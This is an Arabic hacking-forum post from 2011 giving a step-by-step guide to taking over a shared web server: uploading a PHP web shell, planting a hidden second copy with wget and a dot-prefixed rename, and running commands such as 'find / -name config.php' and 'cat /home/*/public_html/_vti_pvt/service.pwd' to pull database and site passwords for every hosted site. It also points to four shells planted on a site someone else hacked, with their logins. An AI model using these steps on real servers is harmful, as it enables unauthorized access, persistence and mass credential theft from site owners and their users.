منتديــــــــــا ت يوسف الماجيك
بقلوب ملؤها المحبة
وأفئدة تنبض بالمودة
وكلمات تبحث عن روح الاخوة
نقول لكِ أهلا وسهلا
اهلا بكِ بقلوبنا قبل حروفنا
بكل سعادة وبكل عزة
نرجو انضمانمك الينا
لتزداد نورسين نورا بقدومك
الــيــهــا. مع تحيات ادارة المنتدى توقيع يوسف الماجيك


يوسف الماجيك
 
الرئيسيةالبوابةاليوميةمكتبة الصورس .و .جبحـثالأعضاءالمجموعاتدخولالتسجيل
المواضيع الأخيرة
»  برنامج اختراق الفيسبوك+الباسورد+شرح بالصور حصـــري
الأربعاء فبراير 13, 2013 9:32 pm من طرف فارس سع

» حصريا مهرجان وشوش الناس
الثلاثاء أغسطس 30, 2011 10:42 pm من طرف الدنجوان

» مش هتحتاج تصتب اكس بي بعد كدة كام خطوة ويبقي عندك ويندوز جديد من غير تحميل
الأربعاء أغسطس 24, 2011 10:37 pm من طرف يوسف الماجيك

»  48 سؤالاً في الصيام ..... لفضيلة الشيخ محمد بن صالح العثيمين
السبت يوليو 30, 2011 10:48 pm من طرف يوسف الماجيك

» تعدد النيات في الصيام (لماذا أصوم ؟)
السبت يوليو 30, 2011 10:44 pm من طرف يوسف الماجيك

» تعن نفسي سفير الغراام
الثلاثاء يوليو 05, 2011 10:02 pm من طرف يوسف الماجيك

»  النسخه الرقيقه والجميله من ويندوز 7 Windows 7 Cool Ultimate عربية وانجليزى بمساحة 3.7 جيجا على اكثر من سيرفر +سيرفر مباشر
الإثنين يونيو 20, 2011 10:22 pm من طرف يوسف الماجيك

»  حصريا نسخة السفن الرهيبة Windows 7 Infinium Sp1 مع الاوفيس 2010 باخر التحديثات بمساحة 4 جيجا بروابط مباشرة وعلى اكثر من سيرفر
الإثنين يونيو 20, 2011 10:09 pm من طرف يوسف الماجيك

»  أسطوانة الصيانة العملاقة " Parted Magic 6.2 Final " لتقسيم الهارد وإصلاح مشاكله ومميزات أخري - على سيرفرات متعددة
الإثنين يونيو 20, 2011 9:48 pm من طرف يوسف الماجيك

ازرار التصفُّح
 البوابة
 الرئيسية
 قائمة الاعضاء
 البيانات الشخصية
 س .و .ج
 بحـث
ديسمبر 2017
الأحدالإثنينالثلاثاءالأربعاءالخميسالجمعةالسبت
     12
3456789
10111213141516
17181920212223
24252627282930
31      
اليوميةاليومية
أفضل 10 فاتحي مواضيع
يوسف الماجيك
 
!!!!المجروح!!!!
 
الدنجوان
 
SUPER ADMIN
 
سفير الغراام
 

شاطر | 
 

 حصريا طريقة لاختراق السيرفر كامل

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل 
كاتب الموضوعرسالة
يوسف الماجيك
احترس مؤسس الهكر

 احترس  مؤسس الهكر
avatar

عدد المساهمات : 179
نقاط : 408
السٌّمعَة : 0
تاريخ التسجيل : 04/03/2011
الموقع : مصر -القاهرة

مُساهمةموضوع: حصريا طريقة لاختراق السيرفر كامل    الجمعة مايو 20, 2011 5:17 pm

<BLOCKQUOTE class="postcontent restore ">
طريقة اختراق السيرفرات ..

نفترض انك اخترقت موقع باي ثغره.. او عندك انت موقع لك عند اي سيرفر..

وتبي تخترق السيرفر.. فهذي بسيطه جدا جدا

قم بتحميل سكربت الشيل بلغة php على جهازك
وهذي وصلة الشيل.. (( متطور ))
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
------------------------------------------------------------------------------
بسم الله نبدأ في الشرح ::--

البي اتش بي شيل ((phpshell )) هو سكربت بلغة (( php ))

وتستطيع من خلاله تنفيذ اوامر اللينكس.. مثلا احضار باسوردات الـ مواقع التي على السيرفر وايضا قرائة الملف الــ config
للتي على السيرفر..

ولاكن لتنفيذ الاوامر هذه يجب عليك ان تقوم بتحميل الــ phpshell
على موقعك او الموقع الذي اخترقته..

ومن بعد التحميل سوف تستطيع ان تخترق السيرفر كاملا ..

وللتوضيح اكثر..

نفترض انك اخترقت الموقع
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] وقمت بتحميل الــ phpshell
على ملف download
فسيصبح العنوان
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]

وثم اذا دخلنا الى العنوان سوف نجد كلمة اسمها Command وامامها فراغ

في الفراغ هذا سوف نضع فيه اوامر اللينكس..

ولاكن قبل البدء في الشرح الجدي.. احب اوضح نقطه مهمه ::--

يمكن لو شاف صاحب الموقع الشيل.. يروح ويحذفه لك وثم تتورط..

ولاكن لو نسوي اثنين واحد منهم مخفي.. يعني الاول اذا حذفه راح يكون معانا واحد مخفي
لاخفاءه نسوي كذا بالطريقة هذي
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] wget
وثم نقوم باخفائه.. نقوم بتغيير اسمه الى Mv phpshell.php .phpshell.php
ماذا تلاحظ ؟ لقط اضفنا نقطة . واذا حذف الاول راح يكون معانا ثاني ومخفي بعد..

---------------------------------------------
ندخل الى موضوعنا

والان بعد تحميل الشيل على الموقع
يصبح العنوان مثلا
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]

وثم نجد كتابة اسمها Command وامامها فراغ

في الفراغ هذا ندخل اوامر اللينكس عليه..

وندخل الامر هذا مثلا ls /var/named
وهو لاحضار جميع المواقع التي على السيرفر..

ولاكن قبل البدء بالاوامر.. قد تستطيع ان تخترق السيرفر كاملا اذا لم يكن عليه الــ سيف مود
((safe mode))
=============---==-- شرح الاوامر --==--==============
الان سوف اعلمك طريقة سحب : قواعد البيانات - المواقع - الباسوردات

نبدأ من الاسهل حتى الاصعب.. (( كلها سهله لاكن بالباسوردات ))

1- قواعد البيانات
اكتب هذا الامر امام النص Command في الفراغ المقابل له

اكتب هذا الامر
find / -name config.php
الحين راح يطلع لك كل ملفات الكونفيج الي على السيرفر بالشكل هذا :
usr/local/plesk/apache/vhosts/acinovara.com/httpdocs/forum/config.php
usr/local/plesk/apache/vhosts/adamparker.com/httpdocs/blacktalons/admin/config.php
usr/local/plesk/apache/vhosts/ainvar.net/httpdocs/phpBB/config.php
usr/local/plesk/apache/vhosts/aipep.com/httpdocs/bbs/config.php
(( المواقع التي على السيرفر قليله جدا جدا وعدد المواقع يكون على حسب عدد المواقع التي على السيرفر.. وانا عادة يخرج لي 300 موقع ))
ونلاحظ ان التي باللون الزهري هي الموقع..

طيب نبي نقرأ الي متكوب داخل الملف هذا
usr/local/plesk/apache/vhosts/ainvar.net/httpdocs/phpBB/config.php
ونلاحظ ان الموقع هو
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] والمنتدى من نوعية phpBB

المهم نبي نقرأ الي بداخله.. نكتب الامر هذا
cat /usr/local/plesk/apache/vhosts/ainvar.net/httpdocs/phpBB/config.php

وثم راح يطلع لك ملف الــ config.php
وبداخله يوجد اليوزر نيم والباسورد لقاعدة البيانات

روح طير للمنتدي وثم لملف الــ admin ودخل اليوزر نيم والباسورد لقاعدة البيانات
او الدخول له عبر برنامج الــ MySQL-Front_2.5_Setup

-------------------------------------------------------
الان انتهينا من قاعدة البيانات باقي باسوردات المواقع..

اكتب امام Command في الفراغ نكتب هذا الامر
find / -name service.pwd

وراح يطلع لنا المواقع بالشكل ذا :
usr/local/plesk/apache/vhosts/acinovara.com/httpdocs/_vti_pvt/service.pwd
usr/local/plesk/apache/vhosts/adamparker.com/httpdocs/_vti_pvt/service.pwd
usr/local/plesk/apache/vhosts/ainvar.net/httpdocs/_vti_pvt/service.pwd
usr/local/plesk/apache/vhosts/aipep.com/httpdocs/_vti_pvt/service.pwd
التي باللون الزهري هي المواقع...
طيب الان ابي استعرض الباسورد للموقع
usr/local/plesk/apache/vhosts/ainvar.net/httpdocs/_vti_pvt/service.pwd
راح نكتب الامر هذا

cat /usr/local/plesk/apache/vhosts/ainvar.net/httpdocs/_vti_pvt/service.pwd

وراح يجينا الباسورد للموقع ومشفر بمقياس DES

----------------------------------------------------------
طيب يوجد طريقة اخرى افضل من ذلك

نكتب الامر هذا
cat /home/*/public_html/_vti_pvt/service.pwd
او
cat /home/*/public_html/_vti_pvt/access.cnf

وراح يجينا الباسوردات لكل المواقع..

ويوجد اوامر اخرى كثيره للينكس.. ابحث عنها في المنتديات الاخرى وسوف تجدها ..
او قول لي وانا اعطيك افضلها واغلبها..

وهذه بعض اوامر اللينكس

cat /home/*/public_html/vb/admin/config.php لاحضار باسوردات المنتديات من نوع vb
cat /home/*/public_html/phpbb/config.php لاحضار باسوردات المنتديات من نوع phpBB
cat /home/*/public_html/forum/config.php لاحضار باسوردات المنتديات من نوع asp

وطبعا الباسوردات لقاعدة البيانات

ولاكنك تلاحظ ان الاوامر يوجد فيها علامة نجمه * وهذه تعني احضار الباسورد لكل المواقع..

وهذا سكربت ممتاز..

شباب السكربت لــ Php Shell الي انا نزلته فوق..

الي قلت لكم تحملونه .. هذاك سكربت متطور جدا وجديد وهو بلغة php
الي هو هذا
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]


في الحقيقه ماستخدمته ويقولون انه ممتاز جدا جدا ومتطوووووور جدا جدا

ولاكن يوجد سكربت اخر لــ PhpShell وهو لــ php
وفي الحقيقة هو هذا الي استخدمه انا داااائمااا
-----------------------------------------------
للتحميل (( كليك يمين وحفظ الهدف بااسم ))
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
الملف يحتوي علي التالي

phpshell.php:
هذا هو السكربت ChangeLog:
هنا سوف تجد بعض الميزات التي اضيفت الي هذا الاصدار
README:
هذا ملف فيه الشرح والتعليمات (( اعتقد ان شرحي افضل منه ))
INSTALL:
هذا الملف يخبرك عن كيفية حماية الphp shell بباسوورد
واخيرا جبت لكم مووقع اخترقه واحد يقاله شبح الليل..
من فريق عمل منتدى الليزر..

منزل لكم شيل على الموقع الي هو مخترقه..

4 شيلات

المهم انا اخذتها من المنتدى وحطيتها هنا عشان تستفيدون وتطبقون الاوامر عليه وتعرفون كيف..

1- الشيل الاول
وهذا رابط شيل قد وجته ووجدت ايضا اليوز وبالباس

اليوزر : lezr

الباسورد : lezr_vb

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
----------------------------------------
2- الشيل الثاني (( ممتاز جدا ))
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]

اليوزر : root

لايوجد باسورد بس اكتب اليوزر وثم ادخل على طوول
-----------------------------------
3- الشيل الثالث
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]

----------------------------------
4- الشيل الرابع
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
</BLOCKQUOTE>












الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو http://magek.forumegypt.net
 
حصريا طريقة لاختراق السيرفر كامل
استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
منتديــــــــــا ت يوسف الماجيك  :: الــــــــــــــــــبــــــــــرامج الكامله :: برامـــــج الهاكـــــر-
انتقل الى: